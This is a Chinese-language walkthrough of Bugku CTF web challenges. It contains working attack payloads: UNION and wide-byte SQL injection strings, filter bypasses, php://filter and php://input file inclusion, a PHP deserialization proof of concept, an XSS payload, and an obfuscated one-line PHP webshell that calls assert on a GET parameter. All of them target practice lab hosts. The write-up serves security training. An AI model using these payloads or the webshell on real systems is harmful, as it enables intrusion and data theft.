bugku-web-writeup

web2

F12了解一下,flag就在源码里了。

flag KEY{Web-2-bugKssNNikls9100}

文件上传测试

直接上传报错,通过burp抓包,修改Content-Type为image/jpeg,成功上传获取flag.

3

Flag:42e97d465f962c53df9549377b513c7e

计算器

这里将maxlength限制为了1,直接前端修改为3,口算点击提交即可获得flag

4

flag{CTF-bugku-0032}

web基础$_GET

从代码来看就是通过get方式传入what参数,并且让what等于flag,即可获得flag

1
2
3
4
$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

flag{bugku_get_su8kej2en}

web基础$_POST

同上题一样,这题只是通过POST方式传入what参数,并且让what参数等于flag的时候,输出flag。

1
2
3
4
$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

flag{bugku_get_ssseint67se}

矛盾

1
2
3
4
5
6
7
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

这里传入一个参数 num,is_numeric 会判断参数是否为数字, 如果不是数字就会进入下面的if循环,但是到了循环里面又要判断但是下面又需要判断num==1, 这里看似有矛盾, 实际上PHP是个若类型的语言,当传入num=1a的时候,对比是否为数字时,他是字符串,但是在做if比较时候由于是字符串1a会被转换为数字1

flag{bugku-789-ps-ssdf}

Web3

这道题的考点其实是在于一个HTTP头部:If-Modified-Since

1
2
3
4
5
6
7
8
9
10
GET /web3/ HTTP/1.1
Host: 120.24.86.145:8002
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Sat, 15 Apr 2017 14:57:03 GMT
Cache-Control: max-age=0

这是整个HTTP数据包,而在HTTP头部中有个If-Modified-Since字段,这个字段的作用在于在发送HTTP请求时,把浏览器端缓存页面的最后修改时间一起发到服务器去,服务器会把这个时间与服务器上实际文件的最后修改时间进行比较。

如果时间一致,那么返回HTTP状态码304(不返回文件内容),客户端接到之后,就直接把本地缓存文件显示到浏览器中。

如果时间不一致,就返回HTTP状态码200和新的文件内容,客户端接到之后,会丢弃旧文件,把新文件缓存起来,并显示到浏览器中。

所以这道题解题很简单,只需要将头部中这个字段去掉,然后会在放回包的最下面看到一个就有一串 html 注释, 是 unicode 编码,解码后即是flag了。

flag:KEY{J2sa42ahJK-HS11III}

SQL注入

这里尝试?id=1'?id=1''的回显结果都一样,右键点击网页源代码,发现网页编码为gb2312,这里就可能存在宽字节注入了。

首先宽字节产生的原因简单理解就是:宽字节对转义字符的影响发生在character_set_client=gbk的情况,也就是说,如果客户端发送的数据字符集是gbk,则可能会吃掉转义字符\,从而导致转义消毒失败。

因此尝试,宽字节payload?id=1%df’,页面报错,因此就是构造sql注入payload了。

1
?id=1%df%27%20union%20select%20*%20from%20sql5.key%23

flag:KEY{54f3320dc261f313ba712eb3f13a1f6d}

域名解析

这里题目提示:”听说把 flag.bugku.com 解析到120.24.86.145 就能拿到flag“

这里其实就是HTTP头部里面的host字段,所以将HTTP头部里面的host字段修改为flag.bugku.com即可获得flag。

1
2
3
4
5
6
7
8
GET / HTTP/1.1
Host: flag.bugku.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

flag:KEY{DSAHDSJ82HDS2211}

SQL注入1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//过滤sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value)
{
if (substr_count($id, $value) > 0)
{
exit('包含敏感关键字!'.$value);
}
}

//xss过滤
$id = strip_tags($id);

$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

这里题目给出了过滤代码,在sql注入的时候,似乎是吧所有的东西都过滤了,但是看到XSS过滤的时候,我们发现有个strip_tags(),简单介绍下这个是干嘛的。strip_tags() 函数剥去字符串中的HTML、XML 以及PHP 的标签。简单理解就是sel<>ect在经过strip_tags()过滤之后,去掉标签就是select了,因此我们可以通过这个特性绕开sql注入的过滤。

1
2
3
?id=1%20uni%3C%3Eon%20se%3C%3Elect%201%2Cdatabase%28%29%20%23      //数据库名 sql3
?id=1 uni%3C%3Eon%20se%3C%3Elect%201%2CTA%3C%3EBLE_NAME%20FR%3C%3EOM%20info%3C%3Ermation_schema.TAB%3C%3ELES%20%23 //表名 key
?id=1%20Un%3C%3EIon%20Selec%3C%3Et%201%2Chash%20fr%3C%3Eom%20sql3.key%20where%20id%3D1%23 //值

flag:key{c3d3c17b4ca7f791f85e#$1cc72af274af4adef}

你必须让他停下

这题进来之后会一直刷新,原因在于前端这串js,直接通过burp抓包,然后无限重放,即可获得flag。

1
2
3
4
5
6
<script language="JavaScript">
function myrefresh(){
window.location.reload();
}
setTimeout('myrefresh()',500);
</script>

flag:flag{dummy_game_1s_s0_popular}

本地包含

1
2
3
4
5
6
 <?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>

这题从代码来看就是从hello参数传入数据,然后在eval把传入的数据执行。那其实payload很简单,直接通过file_get_content()方式读取文件就好了。

payload:?hello=file_get_contents('./flag.php')即可看到flag源码了。

flag:flag{bug-ctf-gg-99}

变量1

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>

这里代码的意思通过args参数传入数据,先判断变量是否被设置了,然后进入循环,在循环会经过正则表达式判断。这个正则表达的是的意思是:^是表示正则表达式的开始,$表示正则表达式的结束,\w表示任意大小写字母或数字或下划线,+号表示1到多个\w。因此要求args传入的数据中不能带有字母数字下划线,这里可能就没办法命令执行了。但是题目提示flag在变量中,又看到了最后一行eval("var_dump($$args);") ;这里其实可以传入GLOBALS,这样就相当于执行eval("var_dump($GLOBALS)";);而$GLOBALS 就是一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

flag:flag{92853051ab894a64f7865cf3c2128b34}

web5

题目提示:JSPFUCK,右键源代码看[![]]+[][[]],应该是jsfuck,直接复制黏贴丢到chrome控制台出来flag。

flag:ctf{whatfk}

头等舱

打开页面之后,发现什么都没有,右键源代码也没有,最后抓个包发现结果存在于HTTP响应包的头部flag:flag{Bugku_k8_23s_istra}

web4

题目提示看看源码,那么就看看源码咯,在源码里发现了一个编码后的js,看编码应该是url编码。

1
2
3
4
5
<script>
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));
</script>

将编码解码之后

1
2
3
4
5
<script>
var p1 = 'function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b';
var p2 = 'aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;';
eval(unescape(p1) + unescape('54aa2' + p2));
</script>

这里具体逻辑应该将p1+54aa2+p2拼接起来,最后输入验证,即可获得flag。

所以提交67d709b2b54aa2aa648cf6e87a7114f1,就可以获得flag:KEY{J22JK-HS11}

flag在index里

题目提示我flag在index里,看到这个url:http://120.24.86.145:8005/post/index.php?file=show.php似乎存在文件包含,于是构造http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php解码之后的index.php文件中,存在flag:flag{edulcni_elif_lacol_si_siht}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>Bugku-ctf</title>

<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

输入密码查看flag

题目拼音提示我们baopo,猜测是需要爆破解决,这里直接通过burp抓获数据包,然后放到intruder模块内爆破即可,爆破结果13579。

flag:flag{bugku-baopo-hah}

点击一百万次

这里如果真点击一百万次,估计鼠标要炸了,右键查看js源码,发现一串js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<script>
var clicks=0
$(function() {
$("#cookie")
.mousedown(function() {
$(this).width('350px').height('350px');
})
.mouseup(function() {
$(this).width('375px').height('375px');
clicks++;
$("#clickcount").text(clicks);
if(clicks >= 1000000){
var form = $('<form action="" method="post">' +
'<input type="text" name="clicks" value="' + clicks + '" hidden/>' +
'</form>');
$('body').append(form);
form.submit();
}
});
});
</script>

这串js的大概作用是判断post传入的clicks是否大于一百万,是的话就可以了获取flag了。因此直接,提交数据包

1
2
3
4
5
6
7
8
9
10
11
12
POST /test/ HTTP/1.1
Host: 120.24.86.145:9001
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 18

clicks=99999999999

获取flag:flag{Not_C00kI3Cl1ck3r}

备份是个好习惯

题目提示备份是个好习惯,怀疑有备份文件泄露,扫描备份文件,发现存在index.php.bak文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>

下载之后源码是这样的,代码逻辑其实是通过url读入参数,然后将参数进行分割,如果参数中存在key,就将其替换,最后要求(md5($key1) == md5($key2) && $key1 !== $key2)

所以构造payload:http://120.24.86.145:8002/web16/?kkeyey1[]=1&kkeyey2[]=wqerqwe

flag:Bugku{OH_YOU_FIND_MY_MOMY}

成绩查询

这题看情况,似乎是注入先试试。先试试id=1正常输出,然后试试id=1'没有东西输出,再试试注释之后id=1'#又可以正常显示,所以这里应该有注入了。

1
2
3
4
5
id=1' order by 4#                                   //猜测列数,4列。
id=-1' union select 1,database(),2,3 # //查询数据库名 skctf_flag
id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()# //表名 fl4g,sc
id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666c3467# //列名skctf_flag
id=-1' union select 1,skctf_flag,2,3 from fl4g# //查询flag

flag:BUGKU{Sql_INJECT0N_4813drd8hz4}

秋名山老司机

这题看来是要写脚本了,第一次进来有数据,然后马上刷新之后,出现Give me value post about 。看来是要用脚本在两秒之内算出结果并且提交了。

1
2
3
4
5
6
7
8
9
10
11
import requests
import re

url='http://120.24.86.145:8002/qiumingshan/'
s=requests.get(url)
print s.text
result = re.search(r'^<div>(.*)=\?;</div>$', s.text, re.M | re.S)
print result.group(1)
d = {"value":eval(result.group(1))}
s = requests.post(url,d)
print s.text

正常情况下,该脚本应该没问题了,但是实际上却没有出现flag,后来查询发现,这里其实是两个session,这里我们需要发送http请求的时候要打开Session支持,不然服务器不认为两次请求是同一个电脑发来的。

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import re

url='http://120.24.86.145:8002/qiumingshan/'
s=requests.Session()
r = s.get(url)
#print r.text
math = re.search(r'^<div>(.*)=\?;</div>$', r.text, re.M | re.S).group(1)
print eval(math)
d = {"value": eval(math)}
r = s.post(url, data=d)
print r.status_code
print r.text

运行完之后自然会出现flag:Bugku{YOU_DID_IT_BY_SECOND}

速度要快

这题首页没提示,但是右键源代码后发现一个html提示

题目提示告诉我们似乎需要post提交一些什么东西。抓了个包之后,在返回包中似乎发现了base64编码的flag字段

1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 29 Apr 2018 06:45:11 GMT
Content-Type: text/html;charset=utf-8
Connection: close
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
flag: 6LeR55qE6L+Y5LiN6ZSZ77yM57uZ5L2gZmxhZ+WQpzogTVRZMU9UZzE=
Content-Length: 89

</br>我感觉你得快点!!!<!-- OK ,now you have to post the margin what you find -->

感觉题目的意思是将flag字段内数据解码后,POST提交,所以写个脚本吧

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import base64

url='http://120.24.86.145:8002/web6/'
s=requests.Session()
result = s.get(url).headers['flag']
print result
flag = base64.b64decode(base64.b64decode(result).split(':')[1])
print(flag)
data = {'margin' : flag}
r = s.post(url,data=data)
print r.content

flag:KEY{111dd62fcd377076be18a}

cookies欺骗

点进来之后,发现url有点奇怪

http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=

感觉filename是base64编码之后的,所以解码之后是keys.txt,然后我想看看index.php内容,编码之后访问

http://120.24.86.145:8002/web11/index.php?line=&filename=aW5kZXgucGhw

发现没东西,这里看到一个line参数,尝试加入line=1试试,发现有数据返回,这里尝试通过脚本遍历源代码。脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import base64

filename = base64.b64encode("index.php","utf-8")
print filename
line = 0
while line < 1000 :
url = "http://120.24.86.145:8002/web11/index.php?line="+str(line)+"&filename="+str(filename)
r =requests.get(url)
print r.text
try:
r.text.index(">?")
except ValueError:
line = line + 1
continue
else:
break

跑出来的源代码是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

这里的意思其实就是通想要看keys.php内容,必须通过cookie去绕过,然后才能看。

1
2
3
4
5
6
7
8
9
GET /web11/index.php?line&filename=a2V5cy5waHA= HTTP/1.1
Host: 120.24.86.145:8002
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=c439sal8aqdga0vvjl40b89gfnl4s3b9;margin=margin
Connection: close
Upgrade-Insecure-Requests: 1

flag:KEY{key_keys}

XSS

这题其实就是XSS,但是肯定没有这么简单,查看源代码,看到这串js。

1
2
3
<script>
var s=""; document.getElementById('s').innerHTML = s;
</script>

这里构造?id=<script>alert(_key_)</script>发现<>被转义成&lt;&gt;这里其实可以通过将<>unicode编码绕过,’<’对应的unicode编码是\u003c,’>’对应的unicode编码是\u003e,所以最终的payload是:

http://103.238.227.13:10089/?id=\u003cimg src=x onerror=alert(_key_)\u003e

Flag:17f094325e90085b30a5ddefce34acd8

never give up

这题页面啥都没,右键源代码发现,有个html注释的1p.html页面。

1
2
<!--1p.html-->
never never never give up !!!

跟进来,直接打开会跳转,通过抓包,发现一串经过编码的字符串。

1
2
3
4
5
6
7
8
var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E" 
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();

先url解码一下

1
2
<script>window.location.href='http://www.bugku.com';</script> 
<!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->

然后下面这一长串似乎是base64编码,base64解码一下得到如下结果,如下结果似乎是url编码。

1
%22%3Bif%28%21%24_GET%5B%27id%27%5D%29%0A%7B%0A%09header%28%27Location%3A%20hello.php%3Fid%3D1%27%29%3B%0A%09exit%28%29%3B%0A%7D%0A%24id%3D%24_GET%5B%27id%27%5D%3B%0A%24a%3D%24_GET%5B%27a%27%5D%3B%0A%24b%3D%24_GET%5B%27b%27%5D%3B%0Aif%28stripos%28%24a%2C%27.%27%29%29%0A%7B%0A%09echo%20%27no%20no%20no%20no%20no%20no%20no%27%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20@file_get_contents%28%24a%2C%27r%27%29%3B%0Aif%28%24data%3D%3D%22bugku%20is%20a%20nice%20plateform%21%22%20and%20%24id%3D%3D0%20and%20strlen%28%24b%29%3E5%20and%20eregi%28%22111%22.substr%28%24b%2C0%2C1%29%2C%221114%22%29%20and%20substr%28%24b%2C0%2C1%29%21%3D4%29%0A%7B%0A%09require%28%22f4l2a3g.txt%22%29%3B%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20%21%21%21%22%3B%0A%7D%0A%0A%0A%3F%3E

然后再解码一下得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}


?>

然后这个看起来,逻辑好像有点稍微复杂,但是,其实可以看出flag文件应该就是f4l2a3g.txt,访问这个文件即可获得flag。

flag:flag{tHis_iS_THe_fLaG}

welcome to bugkuctf

这题点进来,又是啥都没,然后右键点击源代码查看内容,发现了html注释的一些东西。

1
2
3
4
5
6
7
8
9
10
11
12
<!--  
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->

简单分析下核心if代码isset($user)这里isset的意思是查看变量是否存在,即user不能为空。file_get_content()功能是把整个文件读入字符串中,所以这里的$user显然是个文件,且这个文件读出的内容要等于welcome to the bugkuctf,才能进入下一个内容,这里显然可能需要用来PHP的伪协议php://input

1
2
3
4
5
6
7
8
9
10
11
12
POST /test1/?txt=php://input HTTP/1.1
Host: 120.24.86.145:8006
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

welcome to the bugkuctf

这个就可以绕过第一层要求了,然后我们看到了这个有个include($file);,且file协议可控,这里可能有需要通过php的流协议来读取hit.php文件内容了,构造payload:?file=php://filter/read=convert.base64-encode/resource=hit.php

1
2
3
4
5
6
7
8
9
10
11
12
POST /test1/?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php HTTP/1.1
Host: 120.24.86.145:8006
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

welcome to the bugkuctf

读出hit.php的内容,经过解码之后是,这里有个似乎可以反序列的类__tostring

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>

再看看通过伪协议读取下首页源码的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php  
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "ä¸èƒ½çŽ°åœ¨å°±ç»™ä½ flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}

?>

<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->

这里核心代码就出来了

1
2
3
4
5
6
7
8
  if(preg_match("/flag/",$file)){ 
echo "ä¸èƒ½çŽ°åœ¨å°±ç»™ä½ flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}

这里通过正则表达式匹配,如果我们直接尝试通过伪协议读取flag.php内容,会报错。如果成功绕过上面的if之后,进入到else中就看到了反序列化$password变量。

详细分析下hit.php,我们发现当Flag方法当做字符串执行时,会自动执行 __tostring 方法,方法中写了如果file文件存在,那么就输出file文件中的内容。

因此构造poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
$a = new Flag();
$a->file = 'flag.php';
var_dump(serialize($a));
?>

得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 最后POC如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
POST /test1/?txt=php://input&file=hint.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;} HTTP/1.1
Host: 120.24.86.145:8006
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

welcome to the bugkuctf

flag:flag{php_is_the_best_language}

过狗一句话

题目提示送给大家一个过狗一句话,因此猜测首页已经是个后门,现在可以直接利用。

1
<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>

这里直接通过http://120.24.86.145:8010/?s=var_dump(scandir('./'))来列出文件目录,然后找到了flag.txt,直接HTTP访问,发现无法访问,没办法,只能再通过file_get_contents读取了。

flag:BUGKU{bugku_web_009801_a}

字符?正则?

这题源代码是这样:

1
2
3
4
5
6
7
8
 <?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>

简单来看,应该是要绕过这个正则表达式

  1. 表达式直接写出来的字符串直接利用,如key
  2. “.”代表任意字符
  3. “*”代表一个或一序列字符重复出现的次数,即前一个字符重复任意次,这里可以是0次,还有就是以’^’开头,以’$’结束
  4. “\/”代表“/”,一种转义,因为单独的//代表着正则的开始与结束
  5. [a-z]代表a-z中的任意一个字符
  6. [[:punct:]]代表任意一个字符,包括各种符号,记得是符号
  7. /i代表大小写不敏感
  8. {4-7}代表[0-9]中数字连续出现的次数是4-7次
  9. \s匹配任意的空白符
  10. \d 匹配数字
  11. \b 匹配单词的开始或结束

所以啊,一步步构造poc,最后payload:?id=keyakeyxxxxkey:/a/akeya@

flag:KEY{0x0SIOPh550afc}

前女友(SKCTF)

